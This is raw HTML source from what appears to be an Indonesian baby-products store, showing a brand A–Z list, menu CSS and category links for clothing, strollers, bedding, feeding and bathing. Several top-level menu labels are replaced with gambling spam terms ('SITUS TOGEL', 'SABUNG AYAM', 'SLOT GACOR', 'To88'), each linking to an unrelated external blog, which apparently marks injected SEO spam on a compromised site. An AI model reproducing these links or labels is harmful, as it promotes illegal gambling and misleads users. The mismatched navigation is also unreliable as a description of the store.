style="width: 100%; border: 0px;"> 9769 <h5 class="edh5">Q</h5> 9770 </li> 9771 <li> 9772 <p class="brand-name" style="display: block;"><a href="/brand-a-z/qv-baby.html">QV Baby</a></p> 9773 </li> 9774 <li style="width: 100%; border: 0px;"> 9775 <h5 class="edh5">R</h5> 9776 </li> 9777 <li> 9778 <p class="brand-name" style="display: block;"><a href="/brand-a-z/real-shades.html">Real Shades</a></p> 9779 <p class="brand-name" style="display: block;"><a href="/brand-a-z/red-castle.html">Red Castle</a></p> 9780 <p class="brand-name" style="display: block;"><a href="/brand-a-z/ribbon-madness.html">Ribbon Madness</a></p> 9781 </li> 9782 <li style="width: 100%; border: 0px;"> 9783 <h5 class="edh5">S</h5> 9784 </li> 9785 <li> 9786 <p class="brand-name" style="display: block;"><a href="/brand-a-z/sebamed.html">Sebamed</a></p> 9787 <p class="brand-name" style="display: block;"><a href="/brand-a-z/silver-cross.html">Silver Cross</a></p> 9788 <p class="brand-name" style="display: block;"><a href="/brand-a-z/simply-idea.html">Simply Idea</a></p> 9789 <p class="brand-name" style="display: block;"><a href="/brand-a-z/skip-hop.html">Skip Hop</a></p> 9790 <p class="brand-name" style="display: block;"><a href="/brand-a-z/spectra.html">Spectra</a></p> 9791 <p class="brand-name" style="display: block;"><a href="/brand-a-z/squishmallows.html">Squishmallows</a></p> 9792 <p class="brand-name" style="display: block;"><a href="/brand-a-z/starbooks.html">Starbooks</a></p> 9793 <p class="brand-name" style="display: block;"><a href="/brand-a-z/stick-o.html">Stick-O</a></p> 9794 <p class="brand-name" style="display: block;"><a href="/brand-a-z/stokke.html">Stokke</a></p> 9795 <p class="brand-name" style="display: block;"><a href="/brand-a-z/sudocrem.html">Sudocrem</a></p> 9796 <p class="brand-name" style="display: block;"><a href="/brand-a-z/sumimo.html">Sumimo</a></p> 9797 <p class="brand-name" style="display: block;"><a href="/brand-a-z/sunnylife.html">Sunnylife</a></p> 9798 <p class="brand-name" style="display: block;"><a href="/brand-a-z/sun-staches.html">Sun-Staches</a></p> 9799 <p class="brand-name" style="display: block;"><a href="/brand-a-z/swimava.html">Swimava</a></p> 9800 </li> 9801 <li style="width: 100%; border: 0px;"> 9802 <h5 class="edh5">T</h5> 9803 </li> 9804 <li> 9805 <p class="brand-name" style="display: block;"><a href="/brand-a-z/tommee-tippee.html">Tommee Tippee</a></p> 9806 <p class="brand-name" style="display: block;"><a href="/brand-a-z/trunki.html">Trunki</a></p> 9807 <p class="brand-name" style="display: block;"><a href="/brand-a-z/tutti-bambini.html">Tutti Bambini</a></p> 9808 <p class="brand-name" style="display: block;"><a href="/brand-a-z/twistshake.html">Twistshake</a></p> 9809 <p class="brand-name" style="display: block;"><a href="/brand-a-z/ty-toys.html">TY Toys</a></p> 9810 </li> 9811 <li style="width: 100%; border: 0px;"> 9812 <h5 class="edh5">U</h5> 9813 </li> 9814 <li> 9815 </li> 9816 <li style="width: 100%; border: 0px;"> 9817 <h5 class="edh5">V</h5> 9818 </li> 9819 <li> 9820 <p class="brand-name" style="display: block;"><a href="/brand-a-z/veja.html">Veja</a></p> 9821 <p class="brand-name" style="display: block;"><a href="/brand-a-z/vitaflow.html">Vitaflow</a></p> 9822 <p class="brand-name" style="display: block;"><a href="/brand-a-z/vtech.html">Vtech</a></p> 9823 </li> 9824 <li style="width: 100%; border: 0px;"> 9825 <h5 class="edh5">W</h5> 9826 </li> 9827 <li> 9828 <p class="brand-name" style="display: block;"><a href="/brand-a-z/waterland.html">Waterland</a></p> 9829 <p class="brand-name" style="display: block;"><a href="/brand-a-z/wellness.html">Wellness</a></p> 9830 </li> 9831
9831 <li style="width: 100%; border: 0px;"> 9832 <h5 class="edh5">X</h5> 9833 </li> 9834 <li> 9835 <p class="brand-name" style="display: block;"><a href="/brand-a-z/xootz.html">Xootz</a></p> 9836 </li> 9837 <li style="width: 100%; border: 0px;"> 9838 <h5 class="edh5">Y</h5> 9839 </li> 9840 <li> 9841 <p class="brand-name" style="display: block;"><a href="/brand-a-z/yamatoya.html">Yamatoya</a></p> 9842 </li> 9843 <li style="width: 100%; border: 0px;"> 9844 <h5 class="edh5">Z</h5> 9845 </li> 9846 <li> 9847 <p class="brand-name" style="display: block;"><a href="/brand-a-z/zaxy.html">Zaxy</a></p> 9848 <p class="brand-name" style="display: block;"><a href="/brand-a-z/zoggs.html">Zoggs</a></p> 9849 </li> 9850 <li style="width: 100%; border: 0px;"> 9851 <h5 class="edh5">0-9</h5> 9852 </li> 9853 <li> 9854 <p class="brand-name" style="display: block;"><a href="/brand-a-z/4moms.html">4Moms</a></p> 9855 <p class="brand-name" style="display: block;"><a href="/brand-a-z/59s.html">59S</a></p> 9856 </li> 9857 </ul> 9858 </div> 9859 </div> 9860 </div> 9861 </div> 9862 </div> 9863 </div> 9864 <style media="screen"> 9865 .ves-megamenu li.level0>a.anchor-active, 9866 .ves-megamenu-mobile .nav-mobile li.level0>a.anchor-active { 9867 color: #003971; 9868 } 9869 9870 .nav-desk { 9871 display: flex; 9872 } 9873 9874 .nav-mob { 9875 display: none; 9876 } 9877 9878 .menav .te_az { 9879 display: block !important; 9880 } 9881 9882 .menav .te_az .ks_content { 9883 padding-bottom: 10px; 9884 } 9885 9886 @media screen and (min-width: 640px) { 9887 .header.content .ves-megamenu.menu-hover .subhover:hover .megamenu-content .menav ul li p { 9888 border: 0; 9889 padding: 0; 9890 padding-bottom: 5px; 9891 text-transform: lowercase; 9892 } 9893 } 9894 9895 @media screen and (max-width: 767px) { 9896 .nav-desk { 9897 display: none; 9898 } 9899 9900 .nav-mob { 9901 display: flex; 9902 } 9903 9904 .mn-block .menav { 9905 min-height: 20px; 9906 margin: 10px; 9907 } 9908 } 9909 9910 .brand-az { 9911 width: 100%; 9912 display: flex; 9913 align-items: flex-start; 9914 justify-content: space-around; 9915 flex-flow: wrap row; 9916 margin: 0 20px 20px; 9917 border-bottom: 1px solid #e3e3e3; 9918 } 9919 9920 .brand-az a { 9921 display: flex; 9922 justify-content: center; 9923 padding: 10px !important; 9924 border-radius: 8px; 9925 font-size: 1.2em; 9926 line-height: 1; 9927 font-weight: 500; 9928 text-decoration: none; 9929 color: darkgray; 9930 } 9931 9932 .brand-az a:hover { 9933 background: #ddd; 9934 color: #444; 9935 } 9936 9937 .brand-az a.active { 9938 background: #c31919 !important; 9939 color: #fff !important; 9940 } 9941 9942 .brand-wrapper { 9943 display: grid; 9944 grid-template-columns: repeat(6, 1fr); 9945 width: 100%; 9946 margin: 0 20px; 9947 } 9948 9949 .ves-megamenu .nav-revamp .row { 9950 display: flex; 9951 flex-wrap: wrap; 9952 } 9953 9954 .headcontent p, 9955 .headcontent p a { 9956 color: #7d1616 !important; 9957 font-weight: 600; 9958 margin-bottom: 5px !important; 9959 font-size: 18px; 9960 } 9961 9962 .navigation .level0 .submenu .ks_content p a { 9963 color: #414141; 9964 text-decoration: none; 9965 font-size: 14px; 9966 } 9967 9968 .navigation .level0 .submenu .ks_content p a:
9968hover, 9969 .headcontent p a:hover { 9970 text-decoration: underline; 9971 color: #003971 !important; 9972 } 9973 9974 .te_az .ks_content p { 9975 margin-bottom: 3px; 9976 } 9977 9978 .ves-menu .ves-megamenu.menu-hover .dropdown.clicked>.dropdown-menu { 9979 width: 100%; 9980 } 9981 9982 .mn-block .menav { 9983 min-height: 45px; 9984 } 9985 9986 @media screen and (max-width: 767px) { 9987 .ves-megamenu .nav-revamp .row { 9988 display: block; 9989 } 9990 9991 .brand-az { 9992 width: 265px; 9993 overflow-x: scroll; 9994 display: flex; 9995 align-items: flex-start; 9996 justify-content: flex-start; 9997 flex-flow: row; 9998 margin: 0 10px 10px; 9999 } 10000 10001 .brand-wrapper { 10002 display: grid; 10003 grid-template-columns: repeat(2, 1fr); 10004 } 10005 10006 .mn-block .menav { 10007 min-height: 20px; 10008 margin: 10px; 10009 } 10010 10011 .nav-mobile li { 10012 border: 0 !important; 10013 } 10014 10015 .headcontent p, 10016 .headcontent p a { 10017 font-size: 16px; 10018 } 10019 } 10020 </style> 10021 </div> 10022 </div> 10023 </div> 10024 </div> 10025 </li> 10026 <li id="vesitem-8845517423080611320572800" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="font-size:12px;white-space: nowrap;" class=" nav-anchor"><span>To 88</span><span class="caret"></span><span class="opener"></span></a> 10027 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10028 <div class="content-wrap"> 10029 <div class="megamenu-content" style="width:100%"> 10030 <div class="nav-dropdown"> 10031 <div class="row"> 10032 <!-- column 1 --> 10033 <div class="col-md-2 col-sm-3"> 10034 <div class="mn-block"> 10035 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10036 <div class="headcontent"> 10037 <p><a href="/new-arrival/fashion.html">produk terbaru</a></p> 10038 </div> 10039 </div> 10040 </div> 10041 <div class="mn-block"> 10042 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10043 <div class="headcontent"> 10044 <p>aksesoris</p> 10045 </div> 10046 <ul class="te_az" style="padding:0;"> 10047 <li class="ks_content"> 10048 <p><a href="/kids-accessories/bags.html">tas</a></p> 10049 <p><a href="/kids-accessories/sunglasses.html">kacamata</a></p> 10050 <p><a href="/kids-accessories/hair-accessories.html">aksesoris rambut</a></p> 10051 </li> 10052 </ul> 10053 </div> 10054 </div> 10055 </div> 10056 <!--column 1--> 10057 <!--column 2--> 10058 <div class="col-md-2 col-sm-3"> 10059 <div class="mn-block"> 10060 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10061 <div class="headcontent"> 10062 <p><a href="https://www.mothercare.co.id/clothing-essentials.html">kebutuhan bayi</a></p> 10063 </div> 10064 <ul class="te_az" style="padding:0;"> 10065 <li class="ks_content"> 10066 <p><a href="/clothing-essentials/baby/sleepsuits-all-in-ones-pjs/sleepsuits.html">pakaian tidur</a></p> 10067 <p><a href="/clothing-essentials/baby/sleepsuits-all-in-ones-pjs/all-in-ones.html">set & terusan</a></p> 10068 <p><a href="/clothing-essentials/baby/sleepsuits-all-in-ones-pjs/pyjamas.html">piyama</a></p> 10069 <p><a href="/clothing-essentials/baby/bodysuits.html">bodysuits</a></p> 10070 </li> 10071 </ul> 10072 </div> 10073 </div> 10074 <div class="mn-block"> 10075 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10076 <div class="headcontent"> 10077 <p>sepatu & kaus kaki</p> 10078 </div> 10079 <ul class="te_az" style="padding:0;"> 10080 <li class="ks_content"> 10081 <p><a href="/footwear/baby.html" class="">sepatu bayi</a></p> 10082 <p><a href="/footwear/kids.html" class="">sepatu anak</a></p> 10083 <p><a href="/footwear/sandals.html">
10083sandal</a></p> 10084 <p><a href="/footwear/socks.html">kaus kaki</a></p> 10085 </li> 10086 </ul> 10087 </div> 10088 </div> 10089 </div> 10090 <!-- column 1 --> 10091 <!--column 3--> 10092 <div class="col-md-2 col-sm-3"> 10093 <div class="mn-block"> 10094 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10095 <div class="headcontent"> 10096 <p>fashion bayi (0bln-3thn)</p> 10097 </div> 10098 <ul class="te_az" style="padding:0;"> 10099 <li class="ks_content"> 10100 <p><a href="/baby-clothing/baby-0-24-months/tops.html">atasan</a></p> 10101 <p><a href="/baby-clothing/baby-0-24-months/bottoms.html">bawahan</a></p> 10102 <p><a href="/baby-clothing/baby-0-24-months/dresses.html">gaun</a></p> 10103 <p><a href="/baby-clothing/baby-0-24-months/clothing-sets.html">setelan</a></p> 10104 <p><a href="/baby-clothing/baby-0-24-months/jacket-outerwear.html">jaket & kardigan</a></p> 10105 <p><a href="/baby-clothing/baby-0-24-months/accessories.html">aksesoris</a></p> 10106 </li> 10107 </ul> 10108 </div> 10109 </div> 10110 <div class="mn-block"> 10111 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10112 <div class="headcontent"> 10113 <p><a href="/swimwear.html">pakaian renang</a></p> 10114 </div> 10115 </div> 10116 </div> 10117 </div> 10118 <!-- column 3--> 10119 <!--column 4--> 10120 <div class="col-md-2 col-sm-3"> 10121 <div class="mn-block"> 10122 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10123 <div class="headcontent"> 10124 <p>anak laki-laki (18bln-8thn)</p> 10125 </div> 10126 <ul class="te_az" style="padding:0;"> 10127 <li class="ks_content"> 10128 <p><a href="/boys-clothing/tops.html">atasan</a></p> 10129 <p><a href="/boys-clothing/bottoms.html">bawahan</a></p> 10130 <p><a href="/boys-clothing/clothing-sets.html/">setelan</a></p> 10131 <p><a href="/boys-clothing/jacket-outerwear.html">jaket</a></p> 10132 <p><a href="/boys-clothing/underwear.html">pakaian dalam</a> 10133 </p> 10134 </li> 10135 </ul> 10136 </div> 10137 </div> 10138 <div class="mn-block"> 10139 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10140 <div class="headcontent"> 10141 <p><a href="/maternity/fashion.html">pakaian ibu hamil</a></p> 10142 </div> 10143 </div> 10144 </div> 10145 </div> 10146 <!-- column 4--> 10147 <!--column 5--> 10148 <div class="col-md-2 col-sm-3"> 10149 <div class="mn-block"> 10150 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10151 <div class="headcontent"> 10152 <p>anak perempuan (18bln-8thn)</p> 10153 </div> 10154 <ul class="te_az" style="padding:0;"> 10155 <li class="ks_content"> 10156 <p><a href="/girls-clothing/tops.html">atasan</a></p> 10157 <p><a href="/girls-clothing/bottoms.html">bawahan</a></p> 10158 <p><a href="/girls-clothing/dresses-pinafores.html/">gaun</a></p> 10159 <p><a href="/girls-clothing/clothing-sets-outfits.html/">setelan</a></p> 10160 <p><a href="/girls-clothing/jackets-outerwear.html/">jaket</a></p> 10161 <p><a href="/girls-clothing/underwear.html">pakaian dalam</a> 10162 </p> 10163 </li> 10164 </ul> 10165 </div> 10166 </div> 10167 </div> 10168 <!-- column 5 --> 10169 <!--column 6--> 10170 <div class="col-md-2 col-sm-3"> 10171 <div class="mn-block"> 10172 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10173 <div class="headcontent"> 10174 <p><a href="/clothing/sleepwear.html">pakaian tidur</a></p> 10175 </div> 10176 </div> 10177 </div> 10178 </div> 10179 <!-- column 6 --> 10180 </div> 10181 </div> 10182 </div> 10183 </div> 10184 </div> 10185 </li> 10186 <li id="vesitem-8845817423080611645503736" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="font-size:12px;white-space: nowrap;" class=" nav-anchor"><span>SITUS TOGEL</span><span class="caret"></span><span class="opener"></span></a> 10187 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10188 <div class="content-wrap"> 10189 <div class="megamenu-content" style="width:100%"> 10190 <div class="nav-dropdown"> 10191 <div class="row"> 10192 <!--column 2--> 10193 <div class="col-md-2 col-sm-3"> 10194 <div class="mn-block"> 10195 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10196 <div class="headcontent"> 10197 <p><a href="/travel-essentials/strollers.html">kereta dorong</a></p> 10198 </div> 10199 <ul class="te_az" style="padding:0;"> 10200 <li class="ks_content"> 10201 <p><a href="/travel-essentials/strollers/from-birth.html">bayi baru lahir</a></p> 10202 <p><a href="/travel-essentials/strollers/from-6m.html">usia 6 bulan+</a></p> 10203 </li> 10204 </ul> 10205 </div> 10206 </div> 10207 <div class="mn-block"> 10208 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10209 <div class="headcontent"> 10210 <p><a href="/travel-essentials/kids-luggages.html">koper anak</a></p> 10211 </div> 10212 </div> 10213 </div> 10214 </div> 10215 <!-- column 2--> 10216 <!--column 3--> 10217 <div class="col-md-2 col-sm-3"> 10218 <div class="mn-block"> 10219 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10220 <div class="headcontent"> 10221 <p><a href="/travel-essentials/car-seat.html">kursi mobil</a></p> 10222 </div> 10223 <ul class="te_az" style="padding:0;"> 10224 <li class="ks_content"> 10225 <p><a href="/travel-essentials/car-seat/0-13-kg.html">0-13 Kg</a></p> 10226 <p><a href="/travel-essentials/car-seat/0-36-kg.html">0-36 Kg</a></p> 10227 </li> 10228 </ul> 10229 </div> 10230 </div> 10231 </div> 10232 <!-- column 3--> 10233 <!--column 1--> 10234 <div class="col-md-2 col-sm-3"> 10235 <div class="mn-block"> 10236 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10237 <div class="headcontent"> 10238 <p><a href="/travel-essentials/carriers.html">gendongan</a></p> 10239 </div> 10240 </div> 10241 </div> 10242 </div> 10243 <!-- column 1 --> 10244 <!--column 1--> 10245 <div class="col-md-2 col-sm-3"> 10246 <div class="mn-block"> 10247 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10248 <div class="headcontent"> 10249 <p><a href="/travel-essentials/travel-cots.html">travel cots</a></p> 10250 </div> 10251 </div> 10252 </div> 10253 </div> 10254 <!-- column 1 --> 10255 <!--column 1--> 10256 <div class="col-md-2 col-sm-3"> 10257 <div class="mn-block"> 10258 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10259 <div class="headcontent"> 10260 <p>
10260<a href="/travel-essentials/diaper-bags.html">diaper bags</a></p> 10261 </div> 10262 </div> 10263 </div> 10264 </div> 10265 <!-- column 1 --> 10266 <!--column 1--> 10267 <div class="col-md-2 col-sm-3"> 10268 <div class="mn-block"> 10269 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10270 <div class="headcontent"> 10271 <p><a href="/travel-essentials/accessories.html">aksesoris</a></p> 10272 </div> 10273 </div> 10274 </div> 10275 </div> 10276 <!-- column 1 --> 10277 </div> 10278 </div> 10279 </div> 10280 </div> 10281 </div> 10282 </li> 10283 <li id="vesitem-8846117423080611688273500" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="font-size:12px;white-space: nowrap;" class=" nav-anchor"><span>SABUNG AYAM</span><span class="caret"></span><span class="opener"></span></a> 10284 <div class="submenu animated dropdown-menu" style="animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10285 <div class="content-wrap"> 10286 <div class="megamenu-content" style="width:100%"> 10287 <div class="nav-dropdown"> 10288 <div class="row"> 10289 <!--column 1--> 10290 <div class="col-md-2 col-sm-3"> 10291 <div class="mn-block"> 10292 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10293 <div class="headcontent"> 10294 <p><a href="/bedding-furniture/blankets.html">selimut</a></p> 10295 </div> 10296 </div> 10297 </div> 10298 </div> 10299 <!-- column 1 --> 10300 <!--column 1--> 10301 <div class="col-md-2 col-sm-3"> 10302 <div class="mn-block"> 10303 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10304 <div class="headcontent"> 10305 <p><a href="/bedding-furniture/covers-sheets.html">bantal & sprei</a></p> 10306 </div> 10307 </div> 10308 </div> 10309 </div> 10310 <!-- column 1 --> 10311 <!--column 1--> 10312 <div class="col-md-2 col-sm-3"> 10313 <div class="mn-block"> 10314 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10315 <div class="headcontent"> 10316 <p><a href="/bedding-furniture/cots-cot-beds.html">ranjang bayi & balita</a></p> 10317 </div> 10318 </div> 10319 </div> 10320 </div> 10321 <!-- column 1 --> 10322 <!--column 1--> 10323 <div class="col-md-2 col-sm-3"> 10324 <div class="mn-block"> 10325 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10326 <div class="headcontent"> 10327 <p><a href="/bedding-furniture/furniture.html">perabotan</a></p> 10328 </div> 10329 </div> 10330 </div> 10331 </div> 10332 <!-- column 1 --> 10333 <!--column 1--> 10334 <div class="col-md-2 col-sm-3"> 10335 <div class="mn-block"> 10336 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10337 <div class="headcontent"> 10338 <p><a href="/bedding-furniture/mattresses.html">matras</a></p> 10339 </div> 10340 </div> 10341 </div> 10342 </div> 10343 <!-- column 1 --> 10344 </div> 10345 </div> 10346 </div> 10347 </div> 10348 </div> 10349 </li> 10350 <li id="vesitem-884641742308061459618024" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="font-size:12px;white-space: nowrap;" class=" nav-anchor"><span>SLOT GACOR</span><span class="caret"></span><span class="opener"></span></a> 10351 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10352 <div class="content-wrap"> 10353 <div class="megamenu-content" style="width:100%"> 10354 <div class="nav-dropdown"> 10355 <div class="row"> 10356 <!--column 1--> 10357 <div class="col-md-2 col-sm-3"> 10358 <div class="mn-block"> 10359 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10360 <div class="headcontent"> 10361 <p><a href="/feeding-safety/baby-bottles.html">botol</a></p> 10362 </div> 10363 </div> 10364 </div> 10365 <div class="mn-block"> 10366 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10367 <div class="headcontent"> 10368 <p><a href="/feeding-safety/sterilizers-and-warmers.html">sterilizer & warmers</a></p> 10369 </div> 10370 </div> 10371 </div> 10372 </div> 10373 <!-- column 1 --> 10374 <!--column 1--> 10375 <div class="col-md-2 col-sm-3"> 10376 <div class="mn-block"> 10377 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10378 <div class="headcontent"> 10379 <p><a href="/feeding-safety/soothers-and-teethers.html">soothers & teethers</a></p> 10380 </div> 10381 </div> 10382 </div> 10383 <div class="mn-block"> 10384 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10385 <div class="headcontent"> 10386 <p><a href="/feeding-safety/bibs.html">
10386celemek</a></p> 10387 </div> 10388 </div> 10389 </div> 10390 </div> 10391 <!-- column 1 --> 10392 <!--column 3--> 10393 <div class="col-md-2 col-sm-3"> 10394 <div class="mn-block"> 10395 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10396 <div class="headcontent"> 10397 <p>alat makan</p> 10398 </div> 10399 <ul class="te_az" style="padding:0;"> 10400 <li class="ks_content"> 10401 <p><a href="/feeding-safety/tableware/cups.html">cangkir</a></p> 10402 <p><a href="/feeding-safety/tableware/bowls-plates.html">piring & mangkuk</a></p> 10403 <p><a href="/feeding-safety/tableware/spoons-forks.html">sendok & garpu</a></p> 10404 </li> 10405 </ul> 10406 </div> 10407 </div> 10408 </div> 10409 <!-- column 3--> 10410 <!--column 5--> 10411 <div class="col-md-2 col-sm-3"> 10412 <div class="mn-block"> 10413 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10414 <div class="headcontent"> 10415 <p><a href="/feeding-safety/food-processor.html">pengolah makanan</a></p> 10416 </div> 10417 </div> 10418 </div> 10419 <div class="mn-block"> 10420 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10421 <div class="headcontent"> 10422 <p><a href="/feeding-safety/food.html">makanan & multivitamin</a></p> 10423 </div> 10424 </div> 10425 </div> 10426 </div> 10427 <!-- column 5 --> 10428 <!--column 5--> 10429 <div class="col-md-2 col-sm-3"> 10430 <div class="mn-block"> 10431 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10432 <div class="headcontent"> 10433 <p>alat menyusui</p> 10434 </div> 10435 <ul class="te_az" style="padding:0;"> 10436 <li class="ks_content"> 10437 <p><a href="/feeding-safety/breastfeeding/breast-pumps-milk-storage.html">pompa asi</a></p> 10438 <p><a href="/feeding-safety/breastfeeding/breast-pumps-milk-storage/milk-storage.html">penyimpanan asi</a></p> 10439 <p><a href="/feeding-safety/breastfeeding/cooler-bags.html">cooler bags</a></p> 10440 </li> 10441 </ul> 10442 </div> 10443 </div> 10444 </div> 10445 <!-- column 5 --> 10446 <!--column 5--> 10447 <div class="col-md-2 col-sm-3"> 10448 <div class="mn-block"> 10449 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10450 <div class="headcontent"> 10451 <p><a href="/feeding-safety/high-chairs.html">kursi makan</a></p> 10452 </div> 10453 </div> 10454 </div> 10455 </div> 10456 <!-- column 5 --> 10457 </div> 10458 </div> 10459 </div> 10460 </div> 10461 </div> 10462 </li> 10463 <li id="vesitem-8846717423080612122176647" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="max-lines: 2; 10464line-height: 20px; 10465width:100%; 10466font-size:12px;white-space: nowrap;" class=" nav-anchor"><span>To88</span><span class="caret"></span><span class="opener"></span></a> 10467 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10468 <div class="content-wrap"> 10469 <div class="megamenu-content" style="width:100%"> 10470 <div class="nav-dropdown"> 10471 <div class="row"> 10472 <!--column 1--> 10473 <div class="col-md-2 col-sm-3"> 10474 <div class="mn-block"> 10475 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10476 <div class="headcontent"> 10477 <p>perawatan bayi</p> 10478 </div> 10479 <ul class="te_az" style="padding:0;"> 10480 <li class="ks_content"> 10481 <p><a href="/bathing-care/babycare/skin-care.html">perawatan kulit</a></p> 10482 <p><a href="/bathing-care/babycare/sunscreen.html">Sunscreen</a></p> 10483 <p><a href="/bathing-care/babycare/shampoo-and-body-wash.html">Shampo & Sabun</a></p> 10484 <p><a href="/bathing-care/babycare/hair-treatment.html">perawatan rambut</a></p> 10485 <p><a href="/bathing-care/babycare/oral-care.html">
10485perawatan mulut</a></p> 10486 <p><a href="/bathing-care/babycare/grooming-kit.html">perawatan diri</a></p> 10487 </li> 10488 </ul> 10489 </div> 10490 </div> 10491 </div> 10492 <!-- column 1 --> 10493 <!--column 1--> 10494 <div class="col-md-2 col-sm-3"> 10495 <div class="mn-block"> 10496 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10497 <div class="headcontent"> 10498 <p><a href="/maternity/mum-s-care.html">perawatan ibu</a></p> 10499 </div> 10500 </div> 10501 </div> 10502 </div> 10503 <!-- column 1 --> 10504 <!--column 3--> 10505 <div class="col-md-2 col-sm-3"> 10506 <div class="mn-block"> 10507 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10508 <div class="headcontent"> 10509 <p>kesehatan & kebersihan</p> 10510 </div> 10511 <ul class="te_az" style="padding:0;"> 10512 <li class="ks_content"> 10513 <p><a href="/bathing-care/health-and-hygiene/wipes.html">Tissue basah</a></p> 10514 <p><a href="/bathing-care/health-and-hygiene/laundry-cleaning.html">Laundry & Cleaning</a></p> 10515 <p><a href="/bathing-care/health-and-hygiene/medical.html">Medical</a></p> 10516 <p><a href="/bathing-care/health-and-hygiene/air-purifier-and-humidifier.html">Air Purifier & Humidifier</a></p> 10517 </li> 10518 </ul> 10519 </div> 10520 </div> 10521 </div> 10522 <!-- column 3--> 10523 <!--column 1--> 10524 <div class="col-md-2 col-sm-3"> 10525 <div class="mn-block"> 10526 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10527 <div class="headcontent"> 10528 <p><a href="/bathing-care/bathing/potties.html">potty</a></p> 10529 </div> 10530 </div> 10531 </div> 10532 </div> 10533 <!-- column 1 --> 10534 <!--column 1--> 10535 <div class="col-md-2 col-sm-3"> 10536 <div class="mn-block"> 10537 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10538 <div class="headcontent"> 10539 <p><a href="/bathing-care/bathing/baths.html">bak mandi</a></p> 10540 </div> 10541 </div> 10542 </div> 10543 </div> 10544 <!-- column 1 --> 10545 <!--column 1--> 10546 <div class="col-md-2 col-sm-3"> 10547 <div class="mn-block"> 10548 <div class="menav" style="border: 0px; overflow: scroll; scrollbar-width: none; overflow-x: hidden;"> 10549 <div class="headcontent"> 10550 <p><a href="/bathing-care/bathing/towels.html">handuk</a></p> 10551 </div> 10552 </div> 10553 </div> 10554 </div> 10555 <!-- column 1 --> 10556 </div> 10557 </div> 10558 </div> 10559 </div> 10560 </div> 10561 </li> 10562 <li id="vesitem-88470174230806170878408" class=" nav-item level0 submenu-left subhover dropdown level-top "><a href="https://www.entretiendecheveuxafro.com/blog/" style="white-space: nowrap; 10563font-size:12px; 10564" class=" nav-anchor"><span>To88 SLOT</span><span class="caret"></span><span class="opener"></span></a> 10565 <div class="submenu animated dropdown-menu" style="width:100%;animation-duration: 0.5s;-webkit-animation-duration: 0.5s;"> 10566 <div class="content-wrap"> 10567 <div class="megamenu-content" style="width:100%"> 10568 <div class="nav-dropdown"> 10569 <div class="row"> 10570 <!--column 1--> 10571 <div class="col-md-2 col-sm-3"> 10572 <div class="mn-block"> 10573 <div class="menav" style="border: 0px; overflow: 